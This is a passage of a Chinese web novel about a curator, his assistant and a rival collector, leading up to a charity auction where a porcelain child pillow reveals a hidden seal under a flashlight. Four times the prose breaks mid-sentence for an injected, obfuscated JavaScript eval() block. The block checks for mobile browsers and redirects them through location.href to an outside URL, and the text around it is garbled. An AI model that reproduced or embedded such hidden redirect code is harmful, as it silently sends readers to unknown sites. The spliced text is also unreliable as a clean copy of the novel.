全员参加晚会有什么意思?是跟朱侯随拼人多呢,还是拼财力?那也得拼得过啊。要不然,拼一下颜值?嗯,这方面好像展览馆这边还有点自信,馆长就不说了,绝对的发光体,黑伞都遮不住。秦士勇能当演员,虽然是三流的,但长相上也是相当的周正,方脸浓眉,阳刚气十足,只是有点不符合当下流行的审美。陶歌更是美女一名,纯天然无修饰的,至于甘文自己,那就不王婆卖瓜了,就连看上去最寒掺的袁枚,那也只是不修边幅了点,气质沧桑了点,论长相,还是超出水准线上一大截,说他老,也是老帅哥一枚。 “嘘,别让馆长听见,他心眼小着呢……”袁枚鬼鬼祟祟的把甘文拖进茶水间,“小甘啊,你得知道,咱是一个整体,输人不能输阵。” 甘文哑然,好一会儿才道:“可是给孩儿枕盖戳儿这主意,实在是不怎么样啊,就算馆长真能神不知鬼不觉的给粘个高仿章,有了前车之鉴,也会被当场就看破的。” 世嘉拍卖行肯定吸取教训,同样的手段哪可能再成功一次,再说了,难道馆长在朱侯随身边也有卧底吗?不对,馆长说要亲自动手,那就更不可能了,朱侯随又不是傻子,还能不防着馆长? 袁枚哈哈大笑,一拍甘文的肩膀,道:“你放心,馆长盖的戳儿,别人就算看破了,也没辙儿。” 啊? 甘文正不解时,袁枚又嘀咕道:“就是便宜了宋慈那小子。” “什么?”甘文没听懂,这又关宋慈什么事儿? 袁枚转了转眼珠子,在茶水间里用大马克杯泡了两杯茶,然后又拖着甘文去了他那间陈列柜……咳,是办公室。 “反正闲着也是闲着,来来来,今天听袁哥给你讲古,话说在很久很久以前,有人在山里头捡了块破石头,愣说它是宝贝,拿去献给大王,结果大王一看这不就是块破石头,就叫人揍那家伙,那家伙被揍了好几回,后来连腿都被砍了,可还是不认怂,非说那块破石头就是宝贝……” 这故事甘文听着耳熟,随口接道:“袁哥你说的是和氏璧的故事吧。” 袁枚一拍大腿,道:“没错了,后来你知道是谁把那块破石头鉴定成宝贝的吗?” “大王他孙子?”甘文不大确定的道,和氏璧的故事,差不多是耳熟能详,故事里的大王,应该是春秋时期的楚王,至于是哪位楚王,他就不大记得清了。反正就记得和氏是个倒霉蛋,连着向三代楚王献宝,到第三代楚王才终于得到了正名。 “咳,不是孙子,是侄子,前两代楚王是兄弟……这个不是重点略过略过,话说回来,大王和大王他弟手底下也不乏能人,怎么就没人认得出破石头是块宝呢?”袁枚一脸卖关子的表情。 甘文想了想,其实他不是很好奇,但还是问道:“为什么?” 袁枚关子卖得成功,又一拍大腿,乐呵呵道:“那是因为大王他侄子的身上,佩戴了颗珠子,那珠子呀……嗯,一碰到破石头居然就发光了,大王他侄子因此就知道这破石头是块宝,这事儿后来还诞生了一个成语,叫做珠联璧合。” 珠联璧合是这么来的?甘文瞅着袁枚将信将疑。 “那珠子你知道是什么宝物吗?”袁枚又开始卖关子了。 甘文一撇嘴,道:“随侯珠嘛。” 珠联璧合这谁还不知道,不就是随侯珠跟和氏璧。传说随侯珠是颗夜明珠,又大又亮,能将夜晚照成白昼,不过传说嘛,总有夸张的成分,指不定就是颗萤石,古人见识少,见萤石会发光就当成了宝贝。袁枚讲的古要是真事儿,那当时肯定是天黑了,光线暗萤石就发光,不然谁信随侯珠还有鉴定宝物的本事。 想到这里,他突然一愣,随侯珠,朱侯随,还有明珠阁……哎哟,够巧的啊,袁枚没事儿讲这个,该不是想借着随侯珠的由头编排朱侯随一顿吧。 嘴上编排人有什么意思,这回要是让朱侯随赢了,实在是气人,还是套麻袋来得爽。 甘文一点儿也没察觉自己好像有点暴力倾向,一想到朱侯随玩儿的这一手,他就生气自己的无能为力。 要不然,再去找奚警官问问有没有什么办法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729838|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 他想着想着就跑神了,袁枚后面讲的古就没注意听。当然,听不听没什么紧要,因为袁枚后头讲的越来越离谱,直接就玄幻了,什么随侯珠成了精,一天到晚的嚷嚷着要灭了楚国,复辟随国什么的,信他才有鬼。 “打扰!” 有人敲了敲玻璃门。 甘文回过神扭头一看,顿时一惊,道:“朱先生?” 来人正是朱侯随,后面还跟着两个人,没看错的话,就是那天一起被拎进局子里的两个。 口沫横飞的袁枚立刻合拢嘴巴,抱起茶杯尴笑道:“你们聊,我去添水。” 说着,从门边儿挤了出去,灰溜溜的溜了。 “甘助理,馆长在吗?”朱侯随笑得随和,仿佛并没有听到袁枚那满嘴的编排。 “在的,朱先生你稍等,我去看看馆长在不在忙。”甘文连忙起身,客客气气的招呼朱侯随坐下,然后一转身就变脸,气呼呼的往楼上跑。 “馆长,朱侯随来了。” 咱们套他麻袋吧! 因为着急,他忘记敲门,闯进馆长办公室的时候,正好看到毕馆长拿着一张尺幅挺大的宣纸迎着光在看,他一眼就看到那纸面上端端正正写着“建国后不许成精”七个大字,下面还盖了个戳儿,那戳上八个字也熟悉得很,就是黑伞上头那八个字:受命于天,既寿永昌。 甘文:“……” 馆长大人您真有闲情逸志,犯脑抽也不挑挑时候,敌人打上门来了啊。 毕馆长转过身,不紧不慢的卷起宣纸,往甘文手上一塞,道:“请他上来。另外,把这个拿去裱起来,用金框,就挂在楼下最醒目的地方。” 甘文呆呆的接过,已经完全摸不清毕馆长的脑回路。算了,还是先去请朱侯随上来吧。 “这是什么?” 朱侯随看到他手中的纸卷,多问了一句。 甘文打开纸卷让他看,道:“馆长让我装裱好挂起来。” 朱侯随看清楚上面的字和戳儿,脸上的表情一瞬间凝固,转身上楼的时候,甘文依稀似乎听到这位朱王爷嘴里咕囔了一句“他怎么这么小心眼儿”。 咦,是说毕馆长吗? 甘文看看朱侯随的背影,又看看手里的纸卷,一头的雾水。 19. 第 19 章 朱侯随是来送晚会请柬的,那么高规格的晚会,当然不是什么人都能进,现在消息才放出去,为了能弄到一张请柬的人已经挤破了头,毕馆长张口一要就是五张,不说是狮子大开口吧,也差不了多少,朱侯随也是心大,亲自把请柬给送了来,态度很诚恳,表现很热情,要不是袁枚事先给甘文透了底,甘文真当他和毕馆长是至交好友。 离展览馆不远就有装裱店,甘文把那幅字送过去,说明装裱要求,付了定金,再回来的时候,朱侯随已经走了,秦士勇和陶歌倒是大包小包的回来了,每人一身行头,从里到外、从头到脚都齐全。 甘文领了自己的那一套,当场换了一试,衣服合体,鞋袜称脚,忍不住啧啧两声,再一看,总共就四套行头,秦士勇和袁枚各拿走一套,还剩下一套是女式礼服,明显是陶歌的,不由得道:“怎么没有馆长的?” 陶歌微笑道:“馆长自己有。” 哦,对了,看馆长的日常穿着,就是低调华美那一型的,正装多半也是。馆长那着装风格,也不是商场里能买得到的,肯定是高定,陶歌就是想替他去买,都没地儿去。 两天后,那幅字裱好了,醒目的金框上还有祥云红日的纹路,金光闪闪的,乍看有点俗气,但是衬着毕馆长磅礴恢宏、自成风骨的字,却相益得彰,不但不显俗,反而有种说不出的威严庄重、堂皇富丽感。 只是话又说回来,框是好框,字是好字,就是内容……建国后不许成精到底是个啥咪玩意儿?下面盖的那个戳儿就更辣人眼了。看着秦士勇和袁枚两个人合力,把字挂到了墙壁上,甘文捂着眼不忍目睹。还好这展览馆里平时根本就没什么人进来参观,就算偶尔有人从门口路过,往里头张望一眼,看着稀稀落落空了大半的陈列柜,也不会产生参观的兴趣。 “馆长,咱们展览馆需要打广告吗?” 甘文的职业本能发作,拿手机对着字拍了一幅照,琢磨着发到网上炒一炒,说不定还能吸引点人流来参观,毕竟这年头,从来不缺哗众取宠的行为,因此也培养了一批无聊吃瓜众,不图别的,就图看个热闹,再研究一下究竟是哪个脑抽往墙上挂这样的字,经过对比,可以让吃瓜众产生智商上的优越感,然后成为自干五,不遗余力的替展览馆做宣传。 虽然,展览馆离明珠阁的距离还非常的遥远,不过只要努力,总能更靠近一点……吧。甘文有些惆怅的想着。 不知道是不是看穿了甘文的小心思,毕馆长很威严的瞪来一眼:“不需要。” 甘文连忙低头看手机,避开了馆长大人的目光。 不管别人怎么看,反正馆长大人对这幅字满意得很,对装裱也很满意,对自己的助理表示这回干得很好,奖金多加两百。 甘助理流泪满面,他辛辛苦苦出了那么些馊主意,还跑里跑外白忙活,都不如跑个小腿更值得馆长大人肯定。 然后……嗯,然后不知道哪个缺心儿的把这幅字真给发到网上了,甘文咬着牙根表示,这坚决不是他干的,眼瞅着平时连个鬼影子都不进来的展览馆,在之后的四五天里,接连来了好几拨组团的观光客,都对着那幅字啪啪啪的拍照,一边拍还一边讨论“哟,真有人敢把这么脑抽的字给挂墙上啊”等等,他表示真丢不起那脸。 然后甘助理才想起来,他是没有把这幅字给发到网上,可他发给来事儿看了啊,摔,他怎么就忘了来事儿那破脾气,不把这幅字发到网上赚人气点击才怪。 还好,馆长大人一般都在办公室里不出来,也不知道下面的情况,甘文转头找袁枚商量,咱是不是该收点门票给展览馆创收?他还就不信了,不花钱的热闹不看白不看,要花钱的热闹,还有人专门跑来看。 袁枚哈哈大笑,同情的拍拍甘文的肩膀,道:“成,老哥就帮你一回。” 他不知道从哪里翻出来一套文房四宝,在一个陈列柜上头铺开来就龙飞凤舞了。 兹今日起,本展览馆的参观费,一人三十元,参观时限两小时,一米以下儿童半价。 不提内容,就这一手字,甘文又瞪眼了,写得真是太好了,与毕馆长的好还不是同一个类型的,毕馆长的字是磅礴有力,风骨铿锵,而袁枚的字,却是写意风流,挥洒自然。 “袁哥,看不出来啊,你还有这一手。” 足以称当世书法大家了,有这一手随便上哪里题个字赚个润笔费都足够潇洒过日子,何必跑到这鸟不拉屎的展览馆里来当个管理员? “呵呵,小甘啊,时间长了你就知道,咱们这里别看地方小人少,不像朱王爷的明珠阁那样名气鼎盛,客似云来,但咱这儿甭管是人还是物件儿,随便推出来一样,都是这个!” 袁枚伸出一根大拇指,竖着向天用力顶了顶。 甘文瞅瞅铺在纸下面的陈列柜里那只曾经被袁枚用抹布擦拭过的仿唐三彩骆驼,心里犯起了嘀咕,人就算了,这物件儿拿出去,可不得遭人笑话。 恍惚间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729839|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他好像看到那只骆驼撇了一下嘴角,忍不住一愣,再仔细看,却又还是原来的样子,大概是眼花了。 闲话不提,总归把这收费的规矩往展览馆大门口一立,效果立竿见影……啥,你说没人来参观了? 呵呵,想太多。 甘文想挡人的目的没达到,展览馆也没能创收,倒是下班前贴出去字,第二天来上班就不见了。 竿是立了,可影没见着,因为-字-被-偷-了! 被偷了就被偷了,大不了再写一张呗,这回甘文打算守在门口,看谁能偷,结果才贴出去,就有人来问价了,瞧那样子,还是蹲守了好久的,简直就是迫不及待的窜出来问价。 “袁哥,你打算兼个职不?”甘文没理那人,转头就问袁枚。卖字也算个进项啊,大头归袁枚,展览馆提供场地,就抽成吧。 袁枚抬手一挡脸,哥没听见,哥不是卖字的。 于是甘文只能对着那来问价的人歉意的笑笑,然后拿着字走人。直接把字贴门上是不行了,他打算找人做个招牌挂起来,该不会再有人偷了,嗯,也不会被人问价了。 “哎,等等,那就这副字卖给我呗……哦不卖不卖,咱文化人怎么能叫卖,换吧,我拿这幅大千虾换成不成?我跟你说,这可是张大千的真迹,虽然只是小方,但你看这两只虾子,画得那叫一个传神……” 甘文走了一路,就被这人追着唠叨了一路,最后耳根子实在受不了,拿袁枚的字跟这人换了所谓的张大千的真迹,可把这人高兴坏了,给了甘文一张名片,道:“鄙姓叶,叶文安,以后咱们常联络啊。” 甘文没当一回事,等这人走远了,他随手想扔名片,但忽然察觉这名片居然还挺有分量,拿在手里沉甸甸的,仔细一看,卧槽,镶金的,真壕啊! 名片上只有叶文安三个字和一串电话号码,没有任何身份提示,但是甘文却心念一动,朱侯随办的那个什么古董慈善拍卖晚会,说是遍邀国内榜上有名的富豪,这个叶文安,该不会就是其中一个吧,不然就S市这么个连二线都够不上的城市,哪可能突然冒出个壕来。 等甘文刻好收费牌子回到展览馆,发现叶文安居然没有走,还在展览馆里,正站在馆长的那幅字下面跟着袁枚指指点点,大意就是这字哪儿哪儿写得好,最后还问袁枚,这字卖不卖。 甘文:“……” 他好想建议毕馆长,把展览馆改成字画馆,肯定生意兴隆,前途无量。 20. 第 20 章 挂上了收费牌子之后,展览馆果然又恢复了门可罗雀的美好状态……咳咳,那什么,话说回来,门可罗雀那好歹也还有小雀三两只不是,呃,说人家是雀委实有些过分了,应该是凤,金光闪闪的壕凤。 没错,说的就是叶文安了,这家伙自打那天进了展览馆,就跟猫儿进了鱼塘一样,不到闭馆时间死赖着不走了。还跟袁枚交上了朋友,一瓶酒几碟子下酒菜,两个人对坐着能天南海北的侃上一整天。这还不算,关键是叶文安他还呼朋唤友啊,转天就带了两个和他一样看着低调但处处壕气的人,一起跑来蹭袁枚的酒。 “好酒……我张三跑遍大江南北,纵横国外酒庄,还没有喝过比这更好的酒!哎,这酒卖不?就这一瓶,袁老弟你随便开价,我张三皱下眉头算我输。” “哟,这骆驼有意思,拿出来我掌掌眼,高仿?仿得可够真的,还有这款儿……嘶,我李四这双钛合金狗眼看瞎了也瞧不出哪儿假啊,袁老弟这骆驼卖不卖?起个价,照真品价我也接了。” 一个张三,一个李四,鬼才信这是真名。甘文缩在茶水间里默默吐槽,没办法,他的办公室被这几人给占了,他又受不了酒味儿,只能躲着。 袁枚笑眯眯的拈粒花生米扔嘴里,道:“不卖不卖,我这儿的东西,都是非卖品,张老哥你我是同好中人,咱们以酒会友,什么时候你馋上这口了,就拎俩下酒菜来,咱哥儿俩偷上浮生半日闲,呵呵……哎哎哎,李老哥你手往哪儿放呢,别摸它屁、股,当心它尥你一蹶子。” 李四哈哈大笑,道:“你当它成精呢,还尥我一蹶子,你让它尥一个试试。” 骆驼:“……” 这边说说笑笑的,那边叶文安则背着双手站在馆长那幅字下面,安安静静的欣赏着,一边欣赏一边琢磨,这写字的人是犯了啥毛病,多好的字啊,站这儿看一整天都不闷,看这一横一竖,功力太深了,可是这字的内容……咋那么的二呢?还有那印章,雕得多有韵味啊,可那八个字怎么就那么让人一言难尽,合着这幅内容那么二的字盖上了传国玉玺还他、妈的就成圣旨了。 又转过一天,叶文安和张三又来了,不见了李四,据说,昨天夜里李四走路上不知道被啥在屁股上砸了一下,不知道怎么就闪着老腰当场扑街了,现在还躺医院里接受按摩治疗呢,估摸着没两三天出不来。 这些只能算是古董慈善拍卖晚会开始前的小插曲,拜这小插曲所赐,倒是让甘文收集了不少关于晚会的资料。 别看叶文安、张三李四三人都有股子痴劲儿,但人家还真是实打实的国内榜上有名的富豪,不同于一般的暴发户,这三位在古董收藏界的底蕴不是一般的深厚,像叶长安,就是专精于字画,李四擅长陶瓷鉴定,张三则对青铜器有特别的研究,在业内他们不称专家,却比某些专家的含金量高得多,所以他们都是这次晚会特别邀请的嘉宾,负责对拍卖品的鉴定,特意提前几天来了S市,先帮着给拍卖品掌掌眼。 只不过就是朱侯随自己也没有想到,自己巴巴的请来的特约嘉宾,来到S市还没一天,就被袁枚一幅字给勾走了。 咳,这是个意外,真的,袁哥表示他不是故意的,不过只限于叶文安,至于后头的张三李四……嘿嘿,袁哥的小酒儿可不会随便拿出来给人喝,至于那只骆驼……咱不提它,太任性了,又不是老虎,被人摸一下屁、股又怎么了。 总之,托了袁哥的福,甘文旁敲侧击的从这三位壕那里探听到了这次晚会来宾们的名单和大部分拍品的名录,至于他最关心的那件孩儿枕,因为负责鉴定陶瓷器拍品的李四进了医院,反而没有探听到丁点儿消息,这让甘文有些沮丧。 好在他还可以向奚梵高打听一下情况,虽然奚梵高已经不负责孩儿枕的案子了,但孩儿枕的去向,他应该是知道的。 谁知道不联系还好,一联系,奚梵高就又把宋慈这小子给塞了过来,理由很充分,他忙啊,这次明珠阁举办的古董慈善拍卖晚会规格太高,国内榜上有名的富豪来了大半,国际友人分量也不轻……准确的说,是朱侯随大手笔的请来了几位国际明星来助兴,明星出行的安保压力就不多提了,只要参加过明星巡演会的人都知道,粉丝疯狂起来,比起恐怖分子也差不了多少,另外还有号称国外某老牌贵族的嫡系子弟一位,据说这位名字叫做爱德华的贵族子弟跟朱侯随有私交,关系好到能穿同一条裤子,这次爱德华先生为了给朱侯随捧场,会拉上几个跟他关系好的朋友一起来助阵,想也知道肯定非富即贵。 这些人随便拉一个出来,分量都不轻,何况还是齐聚一堂,S市已经把这次晚会的安保级别提到最高,甚至还向省里请求支援,目前全市别的工作都可以放一放,一定要确保晚会的顺利举办。 所以用脚趾头想也知道奚警官的工作压力有多大,他当然没工夫照顾宋慈了,一脚就把这小子当皮球又踢回了甘文身边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729840|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好在奚警官也没白让甘文帮忙,还是告诉了甘文孩儿枕的下落,关于那桩案子,私粘高仿章的犯罪嫌疑人供认不讳,就在昨天下午,警局已经彻底结案,孩儿枕也被世嘉拍卖行领了回去。 甘文:“……” 世嘉拍卖行真是够狠的,连找人顶罪的法子也想得出,心太黑了,也难怪贺然会被逼到那个地步。 真不甘心就这么让世嘉拍卖行给得逞了,甘文暗暗咬着牙,毕馆长说要亲自给孩儿枕盖戳儿,到底行不行啊? 哎,提到毕馆长,好像这几天都没有看到毕馆长啊。好吧,这几天甘文光顾着收集晚会消息了,倒是忽略了自家老板,也不知道馆长大人都忙什么去了,嗯,是不是正在找机会盖戳儿? 袁枚见甘文心思满腹,拍拍他的肩膀安慰道:“盖戳儿是挺费力的,馆长这几天在家休养,你不用担心,等到了晚会上,就瞧好儿吧。” 甘文瞠目结舌,听这话里的意思,馆长已经成功的在孩儿枕上盖了戳儿?怎么办到的,孩儿枕不是昨天才移交到世嘉拍卖行手上,这么快? 带着满肚子的疑惑与好奇,古董慈善拍卖晚会举行的日子终于来临。晚会定在五点钟开始,但是从早上八点开始,S市就进行了戒严,晚会会场周围一公里以内三步一岗,五步一哨,嗯,这么说夸张了点,但武警巡逻车和便衣警察确实是增派了不少,通往晚会会场的主干道从三点以后就全面禁行,虽然这次晚会来宾并没有政界人物,但S市的招商局领导还是出席了晚会开幕仪式,一个是表示市里对这次晚会的重视,举办这么高规格的晚会,有助于提升S市的城市形象和知名度呢;另一个就是……这么多富豪啊,随便拉上一两个来市里投资,都是政绩啊政绩,傻子才放过这个机会,招商局的领导们都跟猫进了耗子窝啊,两眼全冒绿光。 咳,废话不多说,甘文差不多是在六点前后才赶到会场,倒不是他故意脱队,而是他得先去学校接宋慈放学,结果这小子死活要跟着一起来会场,没办法,甘文只好带着他先去商场挑了套正式场合穿的儿童小西装,才又赶来会场,理所当然的,他迟到了。 好在这只是一场晚会,没有说迟到就不给进去的,甘文牵着宋慈的手进去的时候,正赶上晚会开幕式的压轴大戏,朱侯随请来的一位国际名星正引吭高歌,那金属质感的声线,飙着高音,让人全身的鸡皮疙瘩都竖了起来。 会场一片掌声,震耳欲聋。 21. 第 21 章 甘文强忍着掏耳朵的冲动,四下寻找组织,今晚来宾实在太多,还带着女伴、带着助理、带着保镖,嗯,也有和他一样带着孩子来长见识的,一个来宾身后起码跟着三到五个人,更不要提还有多少警察穿着便衣在会场四处转悠,放眼望过去,一片黑鸦鸦都是人头。 但是,再多的人头,也遮不住馆长大人天生自带柔光的醒目身影,哪怕是坐在光影万千的主宾台上,也给人鹤立鸡群的超群感,所以,甘文一眼就看到了毕馆长。 和毕馆长坐在一起的是充当他的女伴的陶歌,袁枚和秦士勇一人一身黑西装,站在他身后明显是冒充保镖呢,秦士勇就算了,脸一绷悍气毕露还真有那么几分样子,可袁枚那一脸的沧桑,连笔挺的西装都穿出了颓废感,怎么看怎么辣眼睛。 甘文迟疑着自己是靠过去还是不靠过去,好歹他是毕馆长的助理,应该跟前跑后,但主宾台那个位置太显眼了,多少灯光都照在那里,他就这么跑过去,手里还牵着个孩子,肯定是万众瞩目,算了,还是先冒充一下鹌鹑吧。 找了个角落里的空位置,先让宋慈坐进去,甘文才在外侧也坐下,继续放眼打量会场,倒是在嘉宾席上,看到了几个熟人,叶长安,张三,还有李四,看起来李四经过按摩治疗,身体已经恢复了,精神头还不错。 奇怪的是没有看到朱侯随这个东道主,也不知道是跟甘文一样有事来迟了呢,还是自重身份要在最后出场。倒是世嘉拍卖行来了些人,只是甘文只认得郑河一个,其他的都不认识。 他最关心的还是孩儿枕,对所谓的助兴表演、国际明星自然不感冒,等到最后一个节目结束,主持人上台致词说了一通感谢来宾的话,然后表示下面进入拍卖环节,甘文才立刻打起精神,目光炯炯的看向台上。 朱侯随的大手笔在第一件拍品上就体现出来了,被推上台的,竟然是一件青铜重器,青铜器被称为重器,当然不仅仅是因为它重,更是因为青铜器上大多有铭文,有铭文就意味着它携带着历史信息,往往能验证一段历史,或是补缺历史一角,无论从哪个角度来说,带有铭文的青铜器,都是国宝级的。 以张三为代表的几名青铜器鉴定专家立刻就见猎心喜的围了上去,几个人围着那件青铜器转来转去,时不时还低声讨论一阵,然后推了一人出来讲了讲这件青铜器的特别之处,以及青铜上刻的铭文是什么意思,然后大家就各归各位了。虽然他们嘴上没说什么这肯定是真品或赝品之类的话,但在场的富豪们哪个不是人精,细节处见真假,立刻就开始举牌子。 一个赛一个高的报价,听得甘文直咂舌,好在这会儿主宾席那边终于不是万众瞩目了,他手一抬,正要拉着宋慈去跟毕馆长汇合,却拉了空,顿时愕然,一扭头,就看到旁边的座位空了,宋慈早不知去了哪儿。 甘文脸色一变,四下张望,只看到一片黑鸦鸦的人头,就宋慈那小身板儿,一没入人群,连个脑门儿都露不出来,这么大的会场,上哪儿找去。 就在这时,他忽然看到奚梵高的身影在会场边缘一闪而过,甘文立刻就拔脚追了过去。会场里人多,穿便衣的警察也不少,都是耳听八方眼观四路的,宋慈的个头儿再矮也跑不出便衣警察的目光,更不用说在别的地方肯定还有摄像头全方位的监控,让奚梵高利用职务之便帮着问问,应该不是问题。 只是等他跑到会场边缘,已经找不到奚梵高的身影了,倒是隔着会场的落地窗看到了朱侯随,正跟一个金发碧眼的外国男子站在紫藤架下谈笑生风,怪不得没在会场里看到他,原来人在外头。要是没猜错,那个外国男子大概就是甘文从三位壕嘴里打听出来的那位爱德华先生了,看起来,确实是跟朱侯随私交很好。 甘文就看了一眼,就没再看下去,他还忙着找奚梵高帮忙找宋慈呢。找了一圈还是没找到人,小孩子倒是遇着几个,可惜,没一个是宋慈。甘文有些急了,干脆掏出手机,正准备打给奚梵高,冷不防后背让人拍了一下。 “你瞎跑什么呢?”袁枚的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729841|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从身后传来。 甘文一愣,吃惊道:“袁哥你怎么过来了?” 袁枚嘿了一声,道:“我们在主宾席上就看到你在会场里乱转,馆长让我过来把你领过去。” 甘文又是一愣,想想自己这样瞎跑,确实有点招眼,别说是馆长他们,恐怕暗地里好几个便衣警察都盯上他了吧。这么一想,他脸上顿时火辣辣的,解释道:“我带宋慈一起过来,不小心把他弄丢了,正想找奚警官帮忙找找。” 袁枚笑道:“别瞎担心,被馆长盖了戳儿的丢不了。” “啊?” “那什么,不是还有馆长在嘛,走走走,馆长搞定一切,用不着麻烦人家奚警官。” 甘文被袁枚连推带拖的拉去了主宾席,这动作实在有些……幸好,拍卖此时正进入高潮,除了因为甘文不明原因的瞎跑而引起便衣警察的重点监视之外,倒是没什么人注意到他这边。 到了主宾席上,甘文就是心里再有什么想法也不好露在脸上,看别人的助理都是跟在大老板身后,他也就在毕馆长身后找了个地儿站好,嗯,不说别的,就冲自己这颜值,也够给馆长长脸了,应该能抵消掉袁枚的沧桑颓废所带来的降格吧。 不过宋慈的事情还得跟馆长说说,甘文才窥了个合适的机会,正打算凑到毕馆长的耳边,那边拍卖台上就又推出了一件拍品——北宋定窑孩儿枕。 甘文顿时眼都直了,哪里还记得宋慈,就只盯着这件宋瓷珍品了。 红绒布铺着的展台上,就摆着那件孩儿枕,主宾席离拍卖台最近,看得也特别的清楚,这也是甘文第一次近距离的看到这件引出这么多风浪的孩儿枕,通体都是象牙白色,泛着玉质的润光,娃娃的造型异常的生动逼真,圆嘟嘟的脸蛋看着就想让人捏上一把。 不过,馆长的戳儿盖在哪儿呢? 从表面看不出来,甘文的目光忍不住就看向枕底,正好李四上台,戴着白手套小心翼翼把孩儿枕拿起来,那枕底的胎面就露出了出来。 22. 第 22 章 “……瓷枕是古代人们消暑度夏的床上用品,孩儿枕因有‘宜男’的隐喻,特别受百姓欢迎,如今传世的数量虽不多,但也有好几件,其中不乏精品,大家来看这一件孩儿枕,它通体施釉,釉层均匀,釉色洁白中透着暖色,如象牙一般……” “大家再看这里,在衣褶上有积釉,颜色白中透青绿,隐约还可以看到稀疏通透大小不一的气泡,这是北宋定窑瓷器烧制的最大特点,至今无人能仿制……” (以上两段摘自百度) 李四在拍卖台上口沫横飞,介绍着这件孩儿枕,虽然他也没有大包大揽的拍胸脯说保真,但是一句“至今无人能仿制”其实已经很说明问题了。 底下有好几个富豪已经是蠢蠢欲动,性子急的早早就对身边的助理打了眼色,竞拍牌子举起了一半高,就等着李四介绍完毕,就要抢先出价。 “现在来看看胎底,胎底素净,嗅一嗅能闻到瓷土独有的土香,这里还有个款儿,让我看看写的是什么……” 甘文的耳朵已经竖得快跟哈士奇犬一样高了,眼睛更是瞪得不能再大,可惜那个款儿实在太小,除了李四估计没人能看得清。 袁枚嘿嘿一笑,从西装口袋里摸出个手指粗细的的强光手电筒,然后捅捅甘文,在甘文看过来的时候,把手电筒往他手里一塞,道:“照一照就瞧得清楚了。” 咦,这也行? 甘文将信将疑,按下开头,将小小的强光手电筒对着孩儿枕照过去,嗯,角度不大好,照不到款儿上,只照到了胎底的右上角,但这已经足够了。 因为就在被强光照到的那一角,突兀的出现了一个字,是个古篆体,很眼熟,一时半会儿甘文还没有想出那是个什么字,但那鲜红如血的颜色,实在是太醒目,会场里,已经有人发出了惊呼声。 李四还在仔细辨认胎底的款儿,蓦然出现的鲜红篆体惊得他手一抖,差点儿没抱住瓷枕,好在他不是一个人在台上,旁边有人眼明手快的托了一把,稳住了瓷枕。 因为这个动作,瓷枕的位置有了些偏移,恰恰好就进入了强光手电筒的光源笼罩的全部范围内,一瞬间,胎体底下,八个鲜红醒目的篆印就落入了会场所有人的眼中。 “受命于天,既寿永昌。” 会场里一片安静,落针可闻。 甘文的眼珠子已经快要凸出眼眶了,他终于认出那个眼熟的古篆体是什么字了,不就是“既寿永昌”中的永字嘛,他这几天在展览馆里头一抬就能瞧见,一模一样不带半丝儿走形的。 馆长大人,你熊的,咋办到的,求指点! 毕馆长老神在在,闭目养神。 李四终于回过神,这个款儿他是见过的,下意识的一眼向毕馆长的方向看来,一眼就瞅见了甘文手里的强光手电筒,没办法,光源太强,简直都快压过毕馆长的自带柔光了。 然后,李四好像想到了什么,把瓷枕转了个方向,胎底脱离了强光源,上面那鲜红醒目的八个古篆体瞬间就消失不见。 “咦?” 会场里又是一片惊咦声,终于有人忍不住问道:“李总,这是怎么回事?” 李四是见惯大场面的人,遇惊不乱,笑道:“这个意外让人有些摸不着头脑,诸位稍安勿躁,我们几个再合计合计……” 说着,之前和他一起鉴定这件孩儿枕的几位瓷器专家又都围了上来,其中有一人还自带强光手电筒,对着孩儿枕各处照个不停。 会场外头,朱侯随已经收到消息,跟爱德华说了一下情况,然后两个人一前一后的进了会场,径直到了主宾席上。 “阿璧,你这样干可就太任性了。” 朱侯随面对毕馆长的时候,脸上总有一抹若有似无的无奈感,他能在任何场合上翻云覆雨,可只要碰上毕馆长,那种天然的压制,让他憋屈得不行,明明他比毕馆长更早一步来到这个世间,可偏偏在运气上差了一步。 一步差,就步步差,憋屈啊! 